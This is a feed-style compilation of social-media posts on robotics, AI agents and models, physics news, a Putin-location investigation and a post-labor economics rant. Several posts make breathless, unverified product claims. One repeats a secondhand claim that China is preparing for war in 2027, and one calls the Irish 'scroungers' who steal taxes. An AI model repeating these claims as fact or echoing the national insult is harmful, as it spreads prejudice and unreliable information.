A CERN breakthrough may reveal why anything exists.
In a landmark discovery at CERN’s Large Hadron Collider, physicists have detected subtle asymmetries in the decay of matter and antimatter. For the first time, CP violation—an imbalance in the behavior of particles and antiparticles—has been observed in baryons, the building blocks of protons, neutrons, and essentially all visible matter in the universe.
This finding addresses a profound cosmic mystery: the Big Bang should have produced equal amounts of matter and antimatter, which annihilate upon contact. In theory, they should have obliterated each other, leaving only energy behind. Yet the universe exists, filled with stars, planets, and life—evidence that a minute surplus of matter escaped annihilation.
Scientists have hunted for the mechanism behind this asymmetry for decades. CP violation was previously observed in mesons, but baryons dominate the material world, making this new result far more significant.
By analyzing 80,000 decays of the lambda-beauty baryon (Λ_b), researchers found that its antimatter counterpart decays at a slightly different rate—by roughly 2.5%. The result is robust, with a statistical significance of 5.2 sigma, meaning a less than 1-in-10-million chance of being a fluke.
The Standard Model predicts some CP violation, but far too little to account for the matter-dominated universe we observe. While this breakthrough doesn’t resolve the puzzle, it strongly suggests physics beyond the Standard Model—potentially pointing the way to the forces that allowed matter to prevail.
["Observation of charge–parity symmetry breaking in baryon decays." Nature, 2025]
LimX TRON 1 just unveiled a new UWB positioning kit, enabling the robot to become your seamless, all-terrain smart partner with enhanced stability and precision following.
Its enhanced capabilities include:
🏃 All-Terrain Mastery: Traversing rough ground as if it were flat.
🎯 Precise Shadowing: Stays close for accurate, constant tracking.
🛡️ Impact Resistance: Maintains rock-solid stability despite external shocks.
China Unveils Quantum-Speed Breakthrough
If this were just any article on the internet, I wouldn't pay it any attention. But the article appeared on Tom's Hardware and therefore has a reputation.
China’s CHIPX lab claims to have built the first scalable, industrial-grade optical quantum chip that can run certain AI workloads up to 1,000× faster than Nvidia GPUs. The photonic chip packs over 1,000 optical components onto a 6-inch wafer, scales to “1 million qubits,” and can be deployed in weeks instead of months - though production remains limited at ~12,000 wafers per year.
If the performance claims hold, it marks a major step in China’s race for quantum advantage, as Western firms like Nvidia push similar optical-quantum tech but haven’t yet shown comparable scale!
The XPENG X2 is a two-seater flying car developed by XPENG AEROHT. It features an enclosed cockpit with a teardrop-shaped design and is built with a carbon fiber structure to reduce weight.
Credit: @XPENG_AEROHT
#flyingcars #technology #engineering
--------------------------------
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Follow us now on our WhatsApp (https://t.co/YBAHioUWe6) and Telegram (https://t.co/pszbf78JMc) channels and stay updated about the cutting edge.
New FSD (Supervised) data from @Tesla:
Total major collisions:
• Teslas with FSD (Supervised): 715
• Teslas driven manually with Active Safety: 14,943
• Teslas driven manually without Active Safety: 226
• U.S. average: 4,646,404
Miles per major collision:
• Teslas with FSD (Supervised): 5,109,476 miles
• Teslas driven manually with Active Safety: 2,290,733 miles
• Teslas driven manually without Active Safety: 971,994 miles
• U.S. average: 698,781 miles
Total miles logged:
• Teslas with FSD (Supervised): 3,653,275,437 miles
• Teslas driven manually with Active Safety: 34,230,416,666 miles
• Teslas driven manually without Active Safety: 219,670,642 miles
• U.S. drivers overall: 3,246,817,000,000 miles
Tesla vehicles with FSD (Supervised) engaged experience fewer collisions than those driven without.
This is North America data across all road classes (highway and non-highway)
The progress in robotic hands is moving fast.
Here, ALLEX's hands are precise and safe for real-world work.
Performs micro-pick and fastening with high accuracy, uses high-DOF hands for fine manipulation, and maintains safe human-robot interaction.
https://t.co/Bybfype5GD
Robots learning on the edge in just 3 minutes? 👀
@workr_labs CEO Ken Macken shares how their solution is advancing high-mix manufacturing, powered by NVIDIA technology. https://t.co/Ap1113eh5j
Woah 🤯 Google just dropped the NotebookLM for code repositories.
Code Wiki generates interactive docs, visualizes code relationships, and lets you chat with Gemini to understand any repository.
100% Free right now. https://t.co/CnClFq8KF4
When Shohei Ohtani was a high school freshman, he created a detailed "dream sheet" with one central goal: to be the #1 draft pick for 8 NPB (Nippon Professional Baseball) teams.
It was a 64-cell roadmap based on a framework called the Harada Method.
Here's exactly what Shohei did 👇
1. First, some history.... The Harada Method was created by Takashi Harada, a Japanese junior high track coach. He took a team ranked last out of 380 schools and, using his system, turned them into the #1 team in the region within 3 years. They held that top spot for the next 6 years.
2. You start by placing your main goal in the center of an 8x8 grid. For Ohtani, this was "be the #1 draft pick."
3. Next, you identify 8 critical supporting pillars needed to achieve that goal. These surround the main goal.
Ohtani's 8 pillars were:
• Body
• Control
• Sharpness
• Speed
• Pitch Variance
• Personality
• Karma/Luck
• Mental Toughness
4. You then break down each of those 8 pillars into 8 smaller, actionable tasks or daily routines.
This fills out the entire 64-cell grid, turning a massive dream into a concrete, daily action plan.
To improve his karma, he listed tangible actions like:
• Showing Respect to Umpires
• Picking up trash
• Being positive
• Being someone people want to support
5. The method goes far deeper than just technical skills. It forces you to analyze your weaknesses and build confidence. It also has a highlight on service to others, emphasizing that humility and contributing to your community are essential for personal success.
6. The key to the system is daily execution and accountability. Once the 64-cell chart is complete, you turn the tasks and habits into a daily diary and a "Routine Check Sheet." It’s designed to transform abstract intentions into a measurable, daily practice.
this is amazing. Anthropic not only understands how to build the best models but also how to use them best.
just look at this frontend-design skill. it's just one file with 42 lines of instructions that read like the type of memo a frontend lead would write for their team.
that's all it takes to prevent claude from generating "ai slop" frontend.
they are literally reminding Claude of its own capabilities (not different from how you would motivate a talented IC):
"Remember: Claude is capable of extraordinary creative work. Don't hold back, show what can truly be created when thinking outside the box and committing fully to a distinctive vision."
Holy shit… this might be the most impressive scientific reasoning system anyone has built so far.
A new paper just dropped called 'SciAgent' and it basically shows an AI system outperforming human gold medalists across multiple Science Olympiads in one unified architecture.
Not separate math agents, not physics-specific pipelines… one system that reasons across disciplines.
And the wild part: it doesn’t rely on handcrafted tricks. It uses a hierarchical multi-agent setup where a top-level Coordinator figures out the domain, difficulty, and reasoning style, then assembles a custom reasoning pipeline on the fly.
Meaning: the model doesn’t “solve problems” in a single chain of thought… it coordinates a whole team of specialist agents like a real scientific lab.
Here’s why this is insane 👇
→ Gold medal performance in IMO 2025
→ Perfect score in IMC 2025
→ Near top human scores in IPhO 2024 and 2025
→ Massive win in CPhO 2025 (264 vs 199 human gold)
→ Strong generalization on Humanity’s Last Exam
→ Dynamic multi-agent collaboration instead of fixed templates
→ Symbolic deduction, modeling, computation, and verification all happening in parallel
SciAgent isn’t just “doing math” or “solving physics.” It’s showing that coordinated agent systems can build adaptive reasoning pipelines that behave much closer to human scientific thinking.
This is not another LLM benchmark bump. It is a glimpse of what happens when AI starts reasoning like a distributed team instead of a single model predicting one token at a time.
If this scales, scientific problem solving is about to get completely redefined.
Google launched codewiki
Ask questions about your software architecture, find function definitions, and understand complex logic in natural language. It's like having an engineer on call, 24/7.
I tested it for DSPy and it's spot on in it's responses https://t.co/1UWlksBDTv
I read this prediction of how USA vs China in Humanoid robotics will go over the next few years looking for things I could disagree with.
Found none.
It matches what robotics insiders and those at the AI Safety conference I just moderated in Abu Dhabi, which included a Chinese government worker, discussed.
It should scare the heck out of everyone in America.
By the way, she told me that Chinese social media and education systems are preparing China for war with USA in 2027.
There's a reason why Donald Trump reversed his opinion of H1B visas yesterday, throwing his base under the bus.
He sees this too and is turning the country toward a real battle with China over making robots.
For anyone interested in the near future this is a must read.
< SketchPlan: Fly a Drone by Drawing Its Path >
Researchers just dropped Sketchplan, a new path planner that lets you control a drone by simply drawing a path on a screen
It's a diffusion-based model that interprets your 2D sketch over a live depth image and generates a smooth + safe 3D trajectory in under half a second
This is a huge step for intuitive human-in-the-loop robotics
Lets break it down:
CODE: https://t.co/r2iSJBQAMA
PAPER: https://t.co/OuOJeXaA3b
🧵1/6
SIMA 2 is our most capable AI agent for virtual 3D worlds. 👾🌐
Powered by Gemini, it goes beyond following basic instructions to think, understand, and take actions in interactive environments – meaning you can talk to it through text, voice, or even images. Here’s how 🧵
Another new humanoid robot from South Korea
Holiday Robotics has launched a wheeled humanoid robot named FRIDAY.
It seems to be saying that with FRIDAY, you can have a pleasant weekend.
Judging from its specifications, this design is primarily intended for industrial manufacturing and logistics warehouse applications, supplementing South Korea's labor shortage.
It is 1.76m tall, weighs 110kg, moves at a speed of 1.9m/s, has a payload of 20kg, boasts a 5kg arm (claimed to be the lightest in the world), a dexterous hand with 20 degrees of freedom, 0.05N tactile precision, and full-joint anti-drive characteristics.
It can autonomously hot-swap for battery replacement and has a 4-hour battery life.
Theoretically, it can operate autonomously for 24 hours.
“I wasn’t the fastest guy in the world. I wouldn’t have done well in an Olympiad or a math contest. But I like to ponder. And pondering things, just sort of thinking about it and thinking about it, turns out to be a pretty good approach.’
– Jim Simons https://t.co/PUAeJ9M8m0
Robots correcting their own mistakes sounds great on paper.
IMO the real question is:
Can they do it on a busy production floor?
The full video runs for more than 12 minutes of continuous autonomous behavior.
You can see how the system handles real edge cases without pausing the flow:
✅ nudging a stuck item instead of stopping
✅ human takeover only when the system becomes stubborn
✅ correcting a double pick on its own
✅ continuing to work after a bin swap
✅ lifting the funnel to free a jammed item
These micro behaviors decide if a robot is reliable or if it breaks the workflow in production.
I talked about this with @JonMSchwartz, Founder and CEO of @Ultraroboticsco.
We went deep into how they train these behaviors, what works in real environments, and where the limits still are.
The episode will be live later today.
—-
Weekly robotics and AI insights.
Subscribe free: https://t.co/dsa6wcvq6n
For robots to be useful in homes and small businesses, they'll be expected to do a wide range of tasks. That means using just a couple demonstrations so that the robot user can teach the robot, instead of relying on data farms. Really cool work on how this can be feasible
Sunflower Labs has developed an autonomous, AI-powered drone security system known as the Beehive platform. The system integrates a self-charging drone, an intelligent base station, and cloud-based analytics to provide scalable, real-time monitoring for commercial, industrial, and residential properties.
It has been deployed globally in collaboration with partners such as https://t.co/MHHFv4ZcPj, Alert360, Securion, 10 Federal Companies, and the Swiss Federal Railways.
-----------------------
Wanna get your company on Wevolver too? Learn how: https://t.co/3j2HjGA1Ga
There are two non-standard user-accessible ports on Frame. The top one carries power, audio, and USB data. The bottom one (hidden under the nose bridge) is a PCIe gen 4 interface which Valve says can support dual 2.5Gbps video feeds, which seems intended mostly for third-party passthrough accessories.
See all of our Frame coverage: https://t.co/ax4wHKBQOl
A robot could learn a task just by watching a generated video?
PhysWorld connects video generation with real-world robot learning.
It turns visual imagination into physical skill.
✅ Takes one image and a task prompt
✅ Generates a video showing how to complete the task
✅ Reconstructs a 3D scene from that video
✅ Learns real-world actions through object-centric RL
The result: zero-shot robotic manipulation that needs no real demonstrations.
Across pouring, inserting, sweeping, and placing tasks, success rates rise by 15% compared to earlier video-based learning.
It’s one of the first real steps toward robots that can learn from visual reasoning itself.
Thanks for sharing, @PointsCoder !!!
📍Paper: https://t.co/mn40j7EyV5
Project: https://t.co/GRKN4cV36H
Interactive Demo: https://t.co/R0pIg5a56Z
—-
Weekly robotics and AI insights.
Subscribe free: https://t.co/dsa6wcvq6n
UBTech claims to have completed the world’s first mass delivery of humanoid robots.
The Shenzhen-based company has secured over 800 million yuan (US$112M) in Walker S2 orders this year, including a 159M yuan deal for Zigong’s data collection project and another 250M yuan contract reported in September from a domestic enterprise.
Putin had clones of his offices built and is hiding in the Valdai forests, surrounded by 14 air defense systems, according to journalists from the investigative project Systema, RFE/RL's Russian investigative unit, who analyzed thousands of official video recordings from recent years.
To conceal Putin’s true whereabouts, at least three identical offices were built for him in different residences.
The researchers found that the offices are nearly indistinguishable, but small details give them away - the shape of the door handles, decorative elements on the walls, the type of stationery, and subtle differences in the interior finish.
Information about the construction of these rooms was also found in government procurement documents and data from Kremlin pool reporters. Mentions of clone offices had appeared earlier, but until now they were based only on reports from anonymous sources.
According to the investigation, Putin has at least three nearly identical offices - in Novo-Ogaryovo, in Valdai, and in Sochi. All are decorated in the same beige color scheme and furnished with similar minimalist wooden furniture. The design is intentionally austere: light-colored walls, simple decor, and nothing superfluous. Pentagon analysts have previously noted that Putin prefers to work in an unchanging, stable environment - "something often linked to his need for control and a sense of security."
The Kremlin website falsifies the locations of these rooms. For example, on March 28, 2018, Putin held a meeting with government members on the tragedy at Kemerovo’s Winter Cherry mall. The Kremlin’s website claimed the event took place in Novo-Ogaryovo, but journalists established that officials were in fact transferred to the Valdai residence - where an exact replica of the Moscow-region office had been built. This was just one of several cases when the Kremlin disguised Putin's true whereabouts.
Such "clone offices" solved security concerns after the start of the war against Ukraine, amid regular drone attacks. Since early 2025, Putin has almost stopped using his Novo-Ogaryovo office and rarely appears in Sochi. Out of 30 public appearances in the "beige office" between January and September 2025, 29 were recorded in the Valdai clone. That site is the most heavily protected - surrounded by 14 air-defense systems, including 13 Pantsir complexes, according to Russian media reports.
Investigation: https://t.co/9Gt6Mm8s9h
A new humanoid robot concept store has landed in Shenzhen!
Located in Upper Hills, Futian District, the new EngineAI flagship turns shopping into a sci-fi experience with robotic “staff” showing off kung fu moves and futuristic retail tech.
Step inside this “Silicon Life Space Station” and see what the future looks like.
@zhu_jingyang @tphuang @ILoveFutian @engineairobot
“The only student of mine I was ever intimidated by. He was so quick. There was a seminar for advanced students in Zürich that I was teaching and von Neumann was in the class. I came to a certain theorem, and I said it is not proved and it may be difficult. Von Neumann didn't say anything but after five minutes he raised his hand. When I called on him he went to the blackboard and proceeded to write down the proof. After that I was afraid of von Neumann.”
-George Pólya, *How to Solve It* (1957) 2nd edition.
Why you're COMPLETELY SCREWED in the long run
I get sent articles, blog posts, and tweets all the time from people trying to wrap their heads around post-labor economics. This isn't a criticism—this stuff is complex, and it’s great that people are engaging with it. However, there is one frequent gap, one common misunderstanding of the core concessions of post-labor economics that I need to address.
As a quick recap, the entire reason it's called "post-labor economics" is because labor, as we understand it, is going away as the central mechanism for the distribution of wealth. Today, labor is one of the primary ways wealth is reallocated across society. You have what's called a "labor market," where job seekers and employers optimize their market value. That’s how the whole thing works.
In the future, as artificial intelligence and robotics are on the upswing, you will not be getting jobs. We are already seeing people get laid off, sometimes in anticipation of automation, and sometimes because of actual, implemented automation. From an individual perspective, this is terrifying. It feels like, "Wow, you're saying I have no agency and there's nothing I can do."
And yes, that is my belief. In the long run, over the next 10 to 15 years, there is pretty much jack-diddly-squat that anyone on an individual level can do to change this.
"But What About New Jobs?"
People always ask, "What about jobs being created or jobs flowing to new areas?" And yes, there are growth areas, for sure. The attention economy, the influencer market, the meaning economy—all these things are growing. But they are not growing fast enough to absorb all the "labor refugees."
Depending on how you slice the data, these new sectors are growing at about a third, a fifth, or maybe even a tenth of the rate they would need to be growing at to absorb all the developers and HR people who are about to get laid off. The math is very straightforward. If this trend continues, within about 50 years, pretty much all jobs will be gone. The bulk of the layoffs are going to happen before 2040.
People don't like it when you say, "Hey, there's nothing you can do to ensure you have a job." This is one of the core concessions of post-labor economics. People get anxious and say, "Dave, tell me what to do!" And when I say, "There's literally nothing you can do," they don't like that.
This leads them to the core trap: they try to look at it as an individual problem. They start to say, "Okay, if there's nothing we can do individually to secure employment, what if there are other ways we can seek rent? What can we do?"
The Fallacy of Individual Fixes
The first reaction is, "Well, what about our data?" Sorry, but your data is only worth about $300 a year. Even if you create a "data union" and 10x your data rents, that's only $3,000 a year. Anywhere in the Western world, that's two months of rent, at most. It is not a replacement for wages from labor.
The next idea is, "What if we all become influencers in the attention economy?" I personally capture about 50,000 hours of attention per month, and that amortizes to only about $2,000 a month. Not everyone can capture 50,000 hours of attention. It's a ruthless, "winners take most" market where the top 1% takes 90% of the attention. So, as a solution for everyone, that's dead on arrival.
Then there's the idea of consumer cooperatives, where consumers band together to "purchase to own." But this runs into a self-referential paradox: If you don't have wages from labor income, you don't have any income. If you don't have any income, you don't have any purchasing power. The entire idea of a consumer co-op collapses if the consumers have no money to consume.
The Only Solution is Systemic
This is the whole point. What we are looking at is a fundamentally different paradigm. We need a fundamentally different distribution system. The only solution is a massive, systemic solution. It is a nationwide, or planet-wide, fundamental refactoring of the capitalist fabric of how society works.
This means the problem is way, way harder. These solutions are big, messy, and unsure. Look at Universal Basic Income (UBI). We have city-level pilots, but if one city or county starts taxing heavily to sponsor it, all the businesses and billionaires just go to another zip code. These things must happen at a national level.
Of course, the moment you say that, you have people who cry "manglement" and say "a centrally planned economy is not good." And that is a historically well-defended argument. At the same time, we don't have another viable alternative yet.
The End of Labor's Leverage
This gets to a scary place. What is the fundamental value of a human? Right now, as far as the economy is concerned, it's labor. Labor has unique superpowers. One superpower is that it's inalienable. You cannot separate labor from a body. As long as you can refuse labor, as in a strike, you have power to extract concessions.
All of those levers are going away.
Not too long from now, labor strikes aren't going to mean anything. It'll be: "Okay, great. Strike all you want. We're just going to have a robot come in and replace you. And you're never getting that job back."
The moment that you don't have any leverage is the moment you lose all power at the negotiating table. You will have no chips left other than to say, "I'm a human and I deserve to live." And the response will be, "Okay, well, what are you going to give us in exchange for food and housing?" And the answer will be, "...I don't have anything that's valuable anymore."
This means we need a fundamentally different theory of human value. You might say, "Well, the obvious solution is we all have intrinsic value." That is a great, fantastic, philosophical stance. But how do you make a policy around that? "Everyone deserves food and education." Great. How are you going to pay for it when 8 billion people are no longer part of wealth creation?
The Default Path
I'm not going to sugarcoat this. As of right now, the default path is the cyberpunk future. It's high-tech, low-life. It's techno-feudalism. It is the "you will own nothing and be happy," rentier economy. And even that doesn't make sense. If everyone is trying to live off subscriptions, but no one has any money, who's going to pay for the subscriptions? That model collapses, too.
What I'm painting here is the economic equivalent of doom. But there's one bit of good news: this is playing out in very slow motion. That's a double-edged sword. Because it's slow motion, we have time to adapt. But the bad news, just like with climate change, is that it's so slow motion that people get lazy about it.
It's normalcy bias. This is something that's going to play out over the next 5 to 15 years. That's fast enough to be catastrophic, but slow enough that you're not really going to notice it. It's a "boiled frog" syndrome.
We still need to solve the same problem: How do we pre-distribute and redistribute wealth in a future where labor is no longer the primary mechanism?
This whole rant is to point out that major gap in understanding. It's good that people are engaging. But when it comes down to it, there is no individual solution.
That's the long and short of it. This is a collective issue. This is a systemic-level issue.
The end.
Full podcast: https://t.co/SXEfE1NZRQ
You can't get fat just by eating more calories.
Scientists have been trying to do that for decades - and it doesn't work.
Here's what they've discovered, and what it tells us about what really makes us fat (🧵1/13):
9 months on and Ireland has done 0 to improve its defence capabilities.
Now once more its government expects other nations to defend them.
Even though Ireland steals billions in taxes from these other nations every year.
"scroungers" is by now a too polite term for the Irish.
If you found it useful, reshare it with your network.
Follow me → @Sumanth_077 for more such content and tutorials on ML, LLMs and AI Agents!
https://t.co/ys2uhMrY4Y
Claude Code can make some wonderful videos!
You can build a FFMPEG mcp server to edit and create videos
Can do the same thing with blender and davicini resolve.
Any editor that can be controlled programmatically you can build a mcp for.
I have claude generate images and stuff with gemini flash 2.0 image (free vs paying for nano banana), generates music with suno (it uses playwrite - hit and miss on how well it works), elevenlabs for voice over/sfx.
crazy that it just takes 27 hours to learn machine learning from the Andrew NG’s Stanford course that students pay tens of thousands of dollars for.
thank you internet. https://t.co/2r1IGgh7zH
I've gotten a lot of joy out of coding agents
But NOTHING comes close to making videos using Remotion + Claude Code + Elevenlabs.
THIS SHIT IS MAGIC!!! https://t.co/DdFodkrb1d
In 1951, Adelbert Ames created the mind-boggling ‘Ames Window’.
It’s so effective that even when you know how it works you can’t break the illusion.
https://t.co/GSTRlRD9DG
Why #Xpeng's IRON Walks Like a Human?
He Xiaopeng released a training video.
• The robot's bionic spine enables super-coordinated torso movement.
• Combined with an 82-DoF motion system and an AI imitation algorithm, this system allows IRON to autonomously learn from human motion data and adaptively improve.
• Most impressively, the video features IRON dancing—a skill it mastered after just two hours of training.
Excited to share our latest progress on DYNA-1 pre-training! 🤖
The base model now can perform diverse, dexterous tasks (laundry folding, package sorting, …) without any post-training, even in unseen environments.
This powerful base also allows extremely efficient fine-tuning to ~100% success on challenging new tasks with as little as 1 hour of data! 🤯
Watch it master two of them: cup stacking & celery chopping on repeat, no failures. 👇
We're introducing EnvHub to LeRobot!
Upload simulation environments to the @hugginigface hub, and load them in lerobot, with one line of code !
env = lerobot.make_env("username/my-env", trust_remote_code=True)
Back in 2017, @OpenAI called on the community to build Gym environments.
Today, we're doing the same for robotics.
We're calling researchers, students, hobbyists, labs, and startups to publish complex envs, tasks, and benchmarks on the Hub, so we see how robot policies perform. (in Isaaac, Mujoco, Genesis, etc..)
Fill out and submit the form linked in the comments to join the effort!
🚀 Hello, Kimi K2 Thinking!
The Open-Source Thinking Agent Model is here.
🔹 SOTA on HLE (44.9%) and BrowseComp (60.2%)
🔹 Executes up to 200 – 300 sequential tool calls without human interference
🔹 Excels in reasoning, agentic search, and coding
🔹 256K context window
Built as a thinking agent, K2 Thinking marks our latest efforts in test-time scaling — scaling both thinking tokens and tool-calling turns.
K2 Thinking is now live on https://t.co/YutVbwktG0 in chat mode, with full agentic mode coming soon. It is also accessible via API.
🔌 API is live: https://t.co/EOZkbOwCN4
🔗 Tech blog: https://t.co/n7xxaszqzF
🔗 Weights & code: https://t.co/4ukcXB0iP6
No, this isn't Amazon.
This is one of the warehouses in Germany that I visited.
And these are @LocusRobotics bots, which help pickers around the world. They have already helped with 6 billion picks!
Robotics can be scalable. https://t.co/81uE2j3KaJ
Embodied Avatar: Full-body Teleoperation Platform🥳
Everyone has fantasized about having an embodied avatar!
Full-body teleoperation and full-body data acquisition platform is waiting for you to try it out! https://t.co/XrttNwB5IQ
Most industrial robots can move with precision. Very few can adapt when the job… changes.
@mbodiai, a New York startup, is building an embodied-AI layer that lets anyone teach robots new tasks.
Just by talking to them.
Instead of long reprogramming cycles, operators use natural language. A cluster of AI agents handles perception, planning, and control.
✅ Works cloud-to-edge with existing industrial stacks
✅ Handles high-mix, fast-changing jobs
✅ Learns new skills and shares them across connected robots
The idea: turn robotic systems into self-learning collaborators rather than fixed machines.
Mbodi is already working with ABB Robotics and a Fortune 100 CPG company, an early signal that this approach might actually work outside the lab.
If it scales, a large part of the “too variable for automation” world suddenly becomes fair game.
Seen at @mbodiai
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Weekly robotics and AI insights.
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Google just solved one of the oldest problems in education.
They just dropped “Learn Your Way” and it rewrites textbooks based on YOUR interests, turning boring lectures into fun lessons.
The system creates:
• Audio lessons
• Mind maps
• Custom illustrations
• Personalized quizzes
Students using it scored 78% vs 67% on retention tests.
This is what happens when AI meets education, and actually gets it right.
Today, we’re announcing Kosmos, our newest AI Scientist, available to use now.
Users estimate Kosmos does 6 months of work in a single day. One run can read 1,500 papers and write 42,000 lines of code. At least 79% of its findings are reproducible. Kosmos has made 7 discoveries so far, which we are releasing today, in areas ranging from neuroscience to material science and clinical genetics, in collaboration with our academic beta testers. Three of these discoveries reproduced unpublished findings; four are net new, validated contributions to the scientific literature. AI-accelerated science is here.
Our core innovation in Kosmos is the use of a structured, continuously-updated world model. As described in our technical report, Kosmos’ world model allows it to process orders of magnitude more information than could fit into the context of even the longest-context language models, allowing it to synthesize more information and pursue coherent goals over longer time horizons than Robin or any of our other prior agents. In this respect, we believe Kosmos is the most compute-intensive language agent released so far in any field, and by far the most capable AI Scientist available today. The use of a persistent world model also enables single Kosmos trajectories to produce highly complex outputs that require multiple significant logical leaps. As with all of our systems, Kosmos is designed with transparency and verifiability in mind: every conclusion in a Kosmos report can be traced through our platform to the specific lines of code or the specific passages in the scientific literature that inspired it, ensuring that Kosmos’ findings are fully auditable at all times.
We are also using this opportunity to announce the launch of Edison Scientific, a new commercial spinout of FutureHouse, which will be focused on commercializing our agents and applying them to automate scientific research in drug discovery and beyond. Edison will be taking over management of the FutureHouse platform, where you can access Kosmos alongside our Literature, Molecules, and Precedent agents (previously Crow, Phoenix, and Owl). Edison will continue to offer free tier usage for casual users and academics, while also offering higher rate limits and additional features for users who need them. You can read more about this spinout on our blog, below.
A few important notes if you’re going to try Kosmos. Firstly, Kosmos is different from many other AI tools you might have played with, including our other agents. It is more similar to a Deep Research tool than it is to a chatbot: it takes some time to figure out how to prompt it effectively, and we have tried to include guidelines on this to help (see below). It costs $200/run right now (200 credits per run, and $1/credit), with some free tier usage for academics. This is heavily discounted; people who sign up for Founding Subscriptions now can lock in the $1/credit price indefinitely, but the price ultimately will probably be higher. Again, this is less chatbot and more research tool, something you run on high-value targets as needed.
Some caveats are also warranted. Firstly, we find that 80% of Kosmos findings are reproducible, which also means 20% are not -- some things it says will be wrong. Also, Kosmos certainly does produce outputs that are the equivalent to several months of human labor, but it also often goes down rabbit holes or chases statistically significant yet scientifically irrelevant findings. We often run Kosmos multiple times on the same objective in order to sample the various research avenues it can take. There are still a bunch of rough edges on the UI and such, which we are working on. Finally, we are aware that the 6 month figure is much greater than estimates by other AI labs, like METR, about the length of tasks that AI Agents can currently perform. You can read discussion about this in our blog post.
Huge congratulations to our team that put this together, led by @ludomitch and @michaelathinks: Angela Yiu, @benjamin0chang, @sidn137, Edwin Melville-Green, Albert Bou, @arvissulovari, Oz Wassie, @jonmlaurent. A particular shout out to @m_skarlinski and his team that rebuilt the platform for this launch, especially Andy Cai @notAndyCai, Richard Magness, Remo Storni, Tyler Nadolski @_tnadolski, Mayk Caldas @maykcaldas, Sam Cox @samcox822 and more.
This work would not have been possible without significant contributions from academic collaborators @mathieubourdenx, @EricLandsness, @bdanubius, @physicistnevans, Tonio Buonassisi, @BGomes_1905, Shriya Reddy, @marthafoiani, and @RandallBateman3.
We also want to thank our numerous supporters, especially @ericschmidt, who has been a tremendous ally. We will have more to say about our supporters soon!
XBOW raised $117M to build AI hacking agents.
Now someone just open-sourced it for FREE.
Strix deploys autonomous AI agents that act like real hackers - they run your code dynamically, find vulnerabilities, and validate them through actual proof-of-concepts.
Why it matters:
The biggest problem with traditional security testing is that it doesn't keep up with development speed.
Strix solves this by integrating directly into your workflow:
↳ Run it in CI/CD to catch vulnerabilities before production
↳ Get real proof-of-concepts, not false positives from static analysis
↳ Test everything: injection attacks, access control, business logic flaws
The best part?
You don't need to be a security expert. Strix includes a complete hacker toolkit - HTTP proxy, browser automation, and Python runtime for exploit development.
It's like having a security team that works at the speed of your CI/CD pipeline.
The best part is that the tool runs locally in Docker containers, so your code never leaves your environment.
Getting started is simple:
- pipx install strix-agent
- Point it at your codebase (app, repo, or directory)
Everything is 100% open-source!
I've shared link to the GitHub repo in the replies!
XPeng made several significant announcements about its AI roadmap at its AI Day 2025 event today:
✅ VLA 2.0, a versatile new physical model for vehicles, robots, and flying cars, will be open-source, with Volkswagen as its first partner.
✅ XPeng announced its plan to launch three global Robotaxi models, with road testing beginning in 2026.
✅ The latest version of its IRON robot made its debut and is slated to enter mass production in 2026.
Real!!! BAAI THOR is here.
Inspired by human reflexes, we’ve achieved robust whole-body reactions, enabling humanoids to handle intense interactions in the real world.
It’s learned — not programmed.
Watch it in action and read the full report 👇
📄 Paper: https://t.co/OwpdQYU8hF
🤖 Project Page: https://t.co/TnI0gbdDZL
#ReinforcementLearning #Robotics #EmbodiedAI #BAAI #WholeBodyControl
Generalist AI unveiled GEN-0, an embodied foundation model family that hits a 7B-parameter “intelligence threshold”;
small models ossify, larger ones keep improving, and is trained on 270,000+ hours of real-world manipulation data growing by ~10,000 hours/week.
It introduces Harmonic Reasoning (think+act in continuous time), shows predictable scaling laws, runs across 6–16+ DoF robots, and an infra stack that ingests the equivalent of 6.85 years of experience per training day, promising faster adaptation with less post-training for factories, logistics, and service workflows.
Another humanoid robotics startup, Norway-based Physical Robotics, is out of stealth.
The company was founded by Phuong Nguyen, a co-founder of Halodi Robotics (now rebranded as 1X Technologies). He was Chief Science Officer at Halodi for eight years, leading the development of the EVE robot.
The new company's mission is to “create a generation of robots that live in harmony with humans in the physical world, enhancing the quality of human life.”
Last week, the company announced the closing of a $4 million seed round. Here's the upper body concept of their humanoid, the π robot.
A Viking warrior clad in silver armor
This humanoid half-body robot, named Robot Pi (π), comes from Norwegian company Physical Robotics, founded in 2024 by Phuong Nguyen, co-founder of 1X and Halodi Robotics.
The startup team is building physical intelligence for Pi, creating a multi-degree-of-freedom hand/arm system with precise manipulation capabilities and advanced force control, allowing it to "grasp, pinch, rotate, and balance objects like a human hand." It lacks a legged walking system to simplify engineering, improve stability, and enhance application flexibility.
Unlike the 1X NEO for home use, Pi will focus on industrial applications such as manufacturing, assembly, and logistics—high-risk, monotonous, and specialized fields.
It's worth noting that the Physical Robotics website states that Phuong Nguyen is the principal inventor of the EVE wheeled humanoid robot, which served as the foundational model for NEO and is now primarily used in industry, logistics, and large transportation hubs.
In the future, Pi's evolution from a half-body to a full-body robot may resemble EVE, with a folding body and wheeled movement. In other words, Pi could be a 2.0 version of EVE.
From 1X's co-founder Dr. Phuong Nguyen comes a new firm: Physical Robotics AS.
Their vision for AI robotics? It's all about touch. They're building force-sensitive industrial robots to gather multimodal "Physical Intelligence" data, betting that this is the key to real-world dexterity.
Teaching humanoid robots how to improve themselves.
Traditionally, humanoid robots learn tasks (like carrying a cup or tidying a table) by watching human demonstrations. That’s slow, expensive, and doesn’t adapt well to new situations.
The CMU robotics team released 𝗣𝗟𝗗 (𝗣𝗿𝗼𝗯𝗲, 𝗟𝗲𝗮𝗿𝗻, 𝗗𝗶𝘀𝘁𝗶𝗹𝗹): a recipe that enables Vision-Language-Action (VLA) models to self-improve for high-precision manipulation tasks.
The PLD method changes that. It works like this:
»Try first:The robot uses what it already knows to do a task.
»Notice mistakes:For example, it spills the water.
»Fix itself:A small “rescue policy” steps in to correct the motion in real time.
»Learn from it:The robot remembers how it recovered and trains itself to do better next time.
So the robot gets a bit smarter every time it fails,no extra human teaching required.
🚀 🔥 AgiBot deploys Real-World Reinforcement Learning (RW-RL) in industrial robotics with Longcheer Technology.
Robots now learn new skills in tens of MINUTES (not weeks), adapt to variations autonomously, and reconfigure flexibly, solving rigid automation pain points in precision manufacturing.
A giant leap of intelligent automation for precision manufacturing!
#AgiBot #ReinforcementLearning #RealWorldRL #Robotics #AI #IndustrialRobotics
TL;DR:
The Chinese are building programmable robots at scale already, and are looking for distributors to help them get the robots ready for specific tasks. They sacrifice some of the upside and share some of the risk. They wish to sell the robot to distributors, today.
